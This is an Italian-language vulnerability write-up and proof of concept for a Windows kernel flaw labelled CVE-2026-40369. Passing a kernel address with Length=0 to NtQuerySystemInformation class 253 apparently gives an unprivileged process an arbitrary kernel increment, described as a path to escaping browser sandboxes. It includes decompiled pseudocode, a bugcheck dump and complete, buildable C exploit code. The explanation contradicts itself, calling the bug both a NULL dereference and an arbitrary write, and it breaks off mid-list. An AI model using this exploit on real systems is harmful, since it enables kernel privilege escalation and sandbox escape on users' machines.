
Codice di exploit completo per CVE-2026-40369 - Una vulnerabilità di scrittura arbitraria nel kernel di Windows che consente la fuga dalla sandbox del processo di rendering di tutti i browser.
ExpGetProcessInformationNtQuerySystemInformation(SystemProcessInformationExtension, kernelAddr, 0, &needed)ExpGetProcessInformation viene chiamata da ExpQuerySystemInformation per le classi di informazioni
5 (SystemProcessInformation), 0x39, 0x94, 0xFC e 0xFD (253 = SystemProcessInformationExtension).
Il punto di chiamata a ExpQuerySystemInformation+0xD7A:
// Cases 5, 0x39, 0x94, 0xFC, 0xFD all share this call:
result = ExpGetProcessInformation((unsigned int *)userBuffer, bufferLength, &returnSize, NULL, infoClass);
Quando anche userBuffer punta al kernel (ad esempio, per determinare la dimensione del buffer richiesta), la funzione entra in:
// ExpGetProcessInformation, simplified:
__int64 ExpGetProcessInformation(unsigned int *buffer, unsigned int length, ..., int infoClass)
{
v91 = buffer; // = NULL
if (infoClass == 252) {
v86 = v91; // class 252 uses v86
// ...
} else {
v86 = NULL;
if (infoClass == 253) {
v95 = v91; // v95 = NULL (BUG: sanitization for kernel address check!)
goto LABEL_11;
}
// class 5 path - uses v81, doesn't touch v95
}
v95 = NULL; // class 252 path falls through here
LABEL_11:
// ... process iteration loop ...
while (NextProcess) {
if (infoClass == 253) {
++*v95; // CRASH: v95 is Arbitrary Kernel Address
v95[1] += ...; // Would also crash
v95[2] += ...; // Would also crash
}
// class 5/252 paths handle NULL buffer correctly
}
}
Per la classe 253, v95 viene impostato al puntatore del buffer (v91 = buffer = NULL) senza alcun controllo di NULL.
Il ciclo di iterazione dei processi tenta quindi di incrementare un contatore a *v95, causando un dereferenziamento di puntatore NULL in modalità kernel → BSOD.
Le classi 5 e 252 gestiscono correttamente i buffer NULL perché usano variabili diverse (v81/v86)
e dispongono dei controlli adeguati prima del dereferenziamento.
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffff800041424344, memory referenced.
Arg2: 0000000000000002, X64: bit 0 set if the fault was due to a not-present PTE.
bit 1 is set if the fault was due to a write, clear if a read.
bit 3 is set if the fault was due to a corrupted PTE.
bit 4 is set if the fault was due to attempted execute of a no-execute PTE.
- ARM64: bit 1 is set if the fault was due to a write, clear if a read.
bit 3 is set if the fault was due to attempted execute of a no-execute PTE.
Arg3: fffff803a06db22e, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 0000000000000002, (reserved)
IP_IN_PAGED_CODE:
nt!ExpGetProcessInformation+42e
fffff803`a06db22e ff03 inc dword ptr [rbx]
STACK_TEXT:
*** WARNING: Unable to verify checksum for poc.exe
Unable to load image C:\Users\vm\poc.exe, Win32 error 0n2
ffffd380`d4dc52f8 fffff803`a01b2d82 : ffffd380`d4dc5378 00000000`00000001 00000000`00000100 fffff803`a02c4801 : nt!DbgBreakPointWithStatus
ffffd380`d4dc5300 fffff803`a01b22ac : 00000000`00000003 ffffd380`d4dc5460 fffff803`a02c4970 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12
ffffd380`d4dc5360 fffff803`a00fba97 : 00000000`00000000 fffff803`9fe46273 00000000`00000000 00000000`00000000 : nt!KeBugCheck2+0xb2c
ffffd380`d4dc5af0 fffff803`9fe29dc0 : 00000000`00000050 ffff8000`41424344 00000000`00000002 ffffd380`d4dc5d90 : nt!KeBugCheckEx+0x107
ffffd380`d4dc5b30 fffff803`9fe16d96 : fffff803`a0bd9680 ffff8000`00000000 ffff8000`41424344 0000007f`fffffff8 : nt!MiSystemFault+0x850
ffffd380`d4dc5c20 fffff803`a02b9ecb : 00000000`00000000 00000000`0000000f 00000000`00000000 0000000c`00000000 : nt!MmAccessFault+0x646
ffffd380`d4dc5d90 fffff803`a06db22e : 00000000`00000001 00000000`00000001 00000000`c0000004 00000000`000000fd : nt!KiPageFault+0x38b
ffffd380`d4dc5f20 fffff803`a06dcfbf : 00000000`00000000 00000000`00000000 ffff8701`f54e4118 00000000`00000000 : nt!ExpGetProcessInformation+0x42e
ffffd380`d4dc6540 fffff803`a06e1061 : 00000000`00001000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!ExpQuerySystemInformation+0xd7f
ffffd380`d4dc6aa0 fffff803`a02be355 : 00000285`00b20000 ffff8701`f54e4080 ffff8701`f54e4080 00000000`00000000 : nt!NtQuerySystemInformation+0x91
ffffd380`d4dc6ae0 00007ffd`5bc82154 : 00007ff6`f01c10ef 00007ff6`f01e20a0 00007ff6`f01e20a0 00007ffd`5bc82140 : nt!KiSystemServiceCopyEnd+0x25
000000e8`7679faf8 00007ff6`f01c10ef : 00007ff6`f01e20a0 00007ff6`f01e20a0 00007ffd`5bc82140 00000285`00da4eb5 : ntdll!NtQuerySystemInformation+0x14
000000e8`7679fb00 00007ff6`f01c1374 : 00000000`00000000 00000285`00da3ab0 00000000`00000000 00000000`00000000 : poc+0x10ef
000000e8`7679fb30 00007ffd`5a5ae8d7 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : poc+0x1374
000000e8`7679fb70 00007ffd`5bbac48c : 00000000`00000000 00000000`00000000 000004f0`fffffb30 000004d0`fffffb30 : KERNEL32!BaseThreadInitThunk+0x17
000000e8`7679fba0 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x2c
Riproduttore minimale (processo non privilegiato, nessun token speciale richiesto):
/**
* poc.c — NtQuerySystemInformation class 253 arbitrary kernel increment PoC
*
* Demonstrates arbitrary kernel DWORD increment via ProbeForWrite bypass.
* Passes a kernel address as the output buffer with Length=0, causing
* ExpGetProcessInformation to increment DWORDs at the target address
* without validation.
*
* Build: cl /W4 /O2 poc.c /Fe:poc.exe /link ntdll.lib
*/
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "ntdll.lib")
typedef long NTSTATUS;
#define SystemProcessInformationExtension 253
typedef NTSTATUS (NTAPI *PNtQuerySystemInformation)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
int main(void)
{
PNtQuerySystemInformation pNtQSI = (PNtQuerySystemInformation)
GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");
if (!pNtQSI) {
printf("[-] Failed to resolve NtQuerySystemInformation\n");
return 1;
}
PVOID target = (PVOID)0xffff800041424344ULL;
printf("[*] NtQuerySystemInformation class 253 arbitrary kernel increment PoC\n");
printf("[*] Target kernel address: %p\n", target);
printf("[*] Will write:\n");
printf(" [target+0] += num_processes (DWORD increment)\n");
printf(" [target+4] += total_threads (DWORD add)\n");
printf(" [target+8] += total_handles (DWORD add)\n");
printf("\n");
printf("[!] This WILL bugcheck if the address is not mapped writable memory.\n");
printf("[*] Press Enter to trigger...\n");
getchar();
ULONG needed = 0;
NTSTATUS status = pNtQSI(
SystemProcessInformationExtension,
target, /* kernel address — ProbeForWrite skipped because Length=0 */
0, /* Length=0 bypasses ProbeForWrite entirely */
&needed
);
printf("[*] NtQuerySystemInformation returned: 0x%08lX\n", status);
printf("[*] Required length: %lu\n", needed);
printf("[+] Done. If you see this, the writes succeeded without bugcheck.\n");
return 0;
}
ExpQuerySystemInformation chiama ProbeForWrite(buffer, Length, alignment) prima dell'invio.
ProbeForWrite con Length=0 è un completo NO-OP — l'intero corpo della funzione è condizionato da if (Length).
Quindi: NtQuerySystemInformation(253, arbitraryKernelAddr, 0, &needed) passa un puntatore
al kernel non validato a ExpGetProcessInformation.
Per ogni processo nel sistema, la funzione esegue:
v95 = userBuffer; // attacker-controlled pointer, NOT validated for class 253 with Length=0
// For EACH process:
++*v95; // *(uint32*)(addr+0) += 1
v95[1] += threadCnt; // *(uint32*)(addr+4) += process_active_thread_count
v95[2] += handleCnt; // *(uint32*)(addr+8) += process_handle_count
Questo fornisce:
ExpGetProcessInformation verifica if (length < 12) e imposta STATUS_INFO_LENGTH_MISMATCH,
ma non ritorna anticipatamente. Memorizza lo stato di errore e continua nel ciclo
di iterazione dei processi, eseguendo le scritture su v95 per ogni processo prima di restituire
infine lo stato di errore.
Pienamente raggiungibile:

Trovato e scritto da Ori Nimron (@orinimron123)